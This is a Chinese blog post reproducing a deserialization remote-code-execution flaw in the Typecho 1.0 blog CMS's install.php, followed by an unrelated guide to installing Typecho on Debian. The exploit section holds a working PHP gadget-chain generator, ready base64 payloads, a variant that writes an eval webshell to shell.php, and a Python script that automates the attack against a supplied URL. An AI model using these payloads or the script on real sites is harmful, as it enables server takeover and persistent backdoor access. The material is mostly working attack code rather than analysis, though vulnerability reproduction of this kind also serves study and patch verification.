typecho_1.0_14.10.10_unserialize

typecho_1.0_14.10.10_unserialize

漏洞描述

typecho 是博客CMS,前台install.php 文件存在反序列化漏洞,通过构造的反序列化字符串注入可以执行任意PHP 代码。

漏洞危害等级

高危

影响版本

typecho1.0(14.10.10)

漏洞复现

基础环境
组件版本
OSWin10
WebserverMAMP PRO _PHP5.6.37
typecho1.0(14.10.10)
  • 网站安装

  • 需要进入数据库创建一个typecho_10数据库,否则无法安装。

在这里插入图片描述
在这里插入图片描述

  • 安装成功

在这里插入图片描述

漏洞演示
  • 准备poc
<?php
class Typecho_Feed 
{ 
	const RSS1 = 'RSS 1.0'; 
	const RSS2 = 'RSS 2.0'; 
	const ATOM1 = 'ATOM 1.0'; 
	const DATE_RFC822 = 'r'; 
	const DATE_W3CDTF = 'c'; 
	const EOL = "\n"; 
	private $_type; 
	private $_items; 
	
	public function __construct(){
    $this->_type = $this::RSS2; 
    $this->_items[0] = array( 
    	'title' => '1', 
    	'link' => '1', 
    	'date' => 1508895132, 
    	'category' => array(new Typecho_Request()), 
    	'author' => new Typecho_Request(), 
    	); 
  	} 
} 
class Typecho_Request 
{ 
	private $_params = array(); 
	private $_filter = array(); 
	public function __construct(){ 
	$this->_params['screenName'] = 'phpinfo()';    //替换phpinfo()这里进行深度利用
	$this->_filter[0] = 'assert'; 
	} 
} 

$exp = array( 
	'adapter' => new Typecho_Feed(), 
	'prefix' => 'typecho_' 
); 

echo base64_encode(serialize($exp));
?>
  • 生成利用代码,构造POST数据
php typecho_1.0_POC.php                   //执行POC生成代码

```
YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjtzOjIwOiIAVHlwZWNob19GZWVkAF9pdGVtcyI7YToxOntpOjA7YTo1OntzOjU6InRpdGxlIjtzOjE6IjEiO3M6NDoibGluayI7czoxOiIxIjtzOjQ6ImRhdGUiO2k6MTUwODg5NTEzMjtzOjg6ImNhdGVnb3J5IjthOjE6e2k6MDtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjk6InBocGluZm8oKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fXM6NjoiYXV0aG9yIjtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjk6InBocGluZm8oKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fX19czo2OiJwcmVmaXgiO3M6ODoidHlwZWNob18iO30=
```
    
···__typecho_config=
__typecho_config=YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjtzOjIwOiIAVHlwZWNob19GZWVkAF9pdGVtcyI7YToxOntpOjA7YTo1OntzOjU6InRpdGxlIjtzOjE6IjEiO3M6NDoibGluayI7czoxOiIxIjtzOjQ6ImRhdGUiO2k6MTUwODg5NTEzMjtzOjg6ImNhdGVnb3J5IjthOjE6e2k6MDtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjk6InBocGluZm8oKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fXM6NjoiYXV0aG9yIjtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjk6InBocGluZm8oKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fX19czo2OiJwcmVmaXgiO3M6ODoidHlwZWNob18iO30=   
    
···

在这里插入图片描述

  • 提交url,成功执行phpinfo();
/install.php?finish=

在这里插入图片描述

深度利用
  • 写shell
$this->_params['screenName'] = 'fputs(fopen(\'shell.php\',\'w\'),\'<?=@eval($_REQUEST[buzhidao])?>\')';
  • 构造POST数据,提交POST数据,会在当前目录生成shell.php文件
__typecho_config=YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjtzOjIwOiIAVHlwZWNob19GZWVkAF9pdGVtcyI7YToxOntpOjA7YTo1OntzOjU6InRpdGxlIjtzOjE6IjEiO3M6NDoibGluayI7czoxOiIxIjtzOjQ6ImRhdGUiO2k6MTUwODg5NTEzMjtzOjg6ImNhdGVnb3J5IjthOjE6e2k6MDtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjYzOiJmcHV0cyhmb3Blbignc2hlbGwucGhwJywndycpLCc8Pz1AZXZhbCgkX1JFUVVFU1RbYnV6aGlkYW9dKT8+JykiO31zOjI0OiIAVHlwZWNob19SZXF1ZXN0AF9maWx0ZXIiO2E6MTp7aTowO3M6NjoiYXNzZXJ0Ijt9fX1zOjY6ImF1dGhvciI7TzoxNToiVHlwZWNob19SZXF1ZXN0IjoyOntzOjI0OiIAVHlwZWNob19SZXF1ZXN0AF9wYXJhbXMiO2E6MTp7czoxMDoic2NyZWVuTmFtZSI7czo2MzoiZnB1dHMoZm9wZW4oJ3NoZWxsLnBocCcsJ3cnKSwnPD89QGV2YWwoJF9SRVFVRVNUW2J1emhpZGFvXSk/PicpIjt9czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfZmlsdGVyIjthOjE6e2k6MDtzOjY6ImFzc2VydCI7fX19fX1zOjY6InByZWZpeCI7czo4OiJ0eXBlY2hvXyI7fQ==
  • 使用火狐浏览器,Edge浏览器没有成功,可能使hackbar问题。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-62ZXRQOh-1608533429707)(d:\Desktop\千峰网络安全2001期.md\image\反序列化\typecho_1.0_14.10\7)]

  • 蚁剑进行连接

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-DwdiDh76-1608533429710)(d:\Desktop\千峰网络安全2001期.md\image\反序列化\typecho_1.0_14.10\8)]

python自动化

python3 TypechoV10_GetShell.py http://10.10.10.213/typechov10/ 

http://10.10.10.213/typechov10/ 
[+] install.php exist! 
[+] Shell.php write success! 
Shell path : http://10.10.10.213/typechov10/shell.php
import requests 
import sys 
url = sys.argv[1] path = "/install.php?finish=" print(url) 
payload = "YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjtzOjIwOiIAVHlwZWNob19GZWVkAF9pdGVtcyI7YToxOntpOjA7YTo1OntzOjU6InRpdGxlIjtzOjE6IjEiO3M6NDoibGluayI7czoxOiIxIjtzOjQ6ImRhdGUiO2k6MTUwODg5NTEzMjtzOjg6ImNhdGVnb3J5IjthOjE6e2k6MDtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjU4OiJmcHV0cyhmb3Blbignc2hlbGwucGhwJywndycpLCc8Pz1AZXZhbCgkX1JFUVVFU1RbNzc3XSk/PicpIjt9czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfZmlsdGVyIjthOjE6e2k6MDtzOjY6ImFzc2VydCI7fX19czo2OiJhdXRob3IiO086MTU6IlR5cGVjaG9fUmVxdWVzdCI6Mjp7czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfcGFyYW1zIjthOjE6e3M6MTA6InNjcmVlbk5hbWUiO3M6NTg6ImZwdXRzKGZvcGVuKCdzaGVsbC5waHAnLCd3JyksJzw/PUBldmFsKCRfUkVRVUVTVFs3NzddKT8+JykiO31zOjI0OiIAVHlwZWNob19SZXF1ZXN0AF9maWx0ZXIiO2E6MTp7aTowO3M6NjoiYXNzZXJ0Ijt9fX19fXM6NjoicHJlZml4IjtzOjg6InR5cGVjaG9fIjt9" 
postData = {"__typecho_config":payload} 
header ={ 
	"Referer":url, 
	"User-Agent":"Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0"} 
	
res = requests.get(url+path) 
if res.status_code == 200: 
	print("[+] install.php exist!") 
else: 
	print("[-] install.php not exist") 
	sys.exit() 
	
res = requests.post(url = url+path,data = postData,headers = header) 
res = requests.get(url+"shell.php") 
if res.status_code == 200: 
	print("[+] Shell.php write success!") 
	print("Shell path :",url+"shell.php") 
else: 
	print("[-] GetShell Error!")

漏洞修复

升级版本
  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
要在Debian上安装Typecho,可以按照以下步骤操作: 1. 安装 LAMP 环境 在 Debian 上安装 Apache、MySQL 和 PHP,可以使用以下命令: ``` sudo apt-get update sudo apt-get install apache2 mysql-server php php-mysql libapache2-mod-php ``` 2. 下载 Typecho 从 Typecho 官方网站 https://typecho.org/download 下载最新版 Typecho 的 ZIP 文件,然后将其解压到网站根目录下的一个子目录中,例如 /var/www/html/typecho。 3. 配置数据库 创建一个新的 MySQL 数据库和用户,然后将权限授予该用户。可以使用以下命令: ``` sudo mysql -u root -p CREATE DATABASE typecho; GRANT ALL PRIVILEGES ON typecho.* TO 'typecho_user'@'localhost' IDENTIFIED BY 'password'; FLUSH PRIVILEGES; exit; ``` 请将 'typecho_user' 和 'password' 替换为您自己的用户名和密码。 4. 配置 Typecho 将 Typecho 根目录下的文件 config.sample.php 复制一份并将其重命名为 config.inc.php。然后编辑该文件,将以下行更改为适当的值: ``` /** 数据库的地址 */ define('__TYPECHO_DB_HOST__', 'localhost'); /** 数据库的用户名 */ define('__TYPECHO_DB_USER__', 'typecho_user'); /** 数据库的密码 */ define('__TYPECHO_DB_PASSWORD__', 'password'); /** 数据库的名称 */ define('__TYPECHO_DB_NAME__', 'typecho'); ``` 请将 'typecho_user' 和 'password' 替换为之前创建的用户名和密码。 5. 配置 Apache 在 Apache 配置中创建一个新的虚拟主机,并将其指向 Typecho 的目录。可以使用以下命令: ``` sudo nano /etc/apache2/sites-available/typecho.conf ``` 然后将以下内容添加到文件中: ``` <VirtualHost *:80> ServerAdmin webmaster@localhost DocumentRoot /var/www/html/typecho ServerName yourdomain.com <Directory /var/www/html/typecho> Options FollowSymLinks AllowOverride All Require all granted </Directory> ErrorLog ${APACHE_LOG_DIR}/typecho_error.log CustomLog ${APACHE_LOG_DIR}/typecho_access.log combined </VirtualHost> ``` 请将 'yourdomain.com' 替换为您自己的域名,并将 DocumentRoot 和 Directory 路径更改为您的 Typecho 目录的路径。 6. 启用虚拟主机 启用新创建的虚拟主机并重新启动 Apache 服务: ``` sudo a2ensite typecho.conf sudo systemctl restart apache2 ``` 7. 安装 Typecho 在浏览器中访问您的域名,您将看到 Typecho 的安装向导。按照指示进行操作,输入数据库信息和管理员帐户信息。 安装完成后,您可以在浏览器中访问 Typecho 后台管理页面。 以上就是在 Debian 上安装 Typecho 的步骤。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值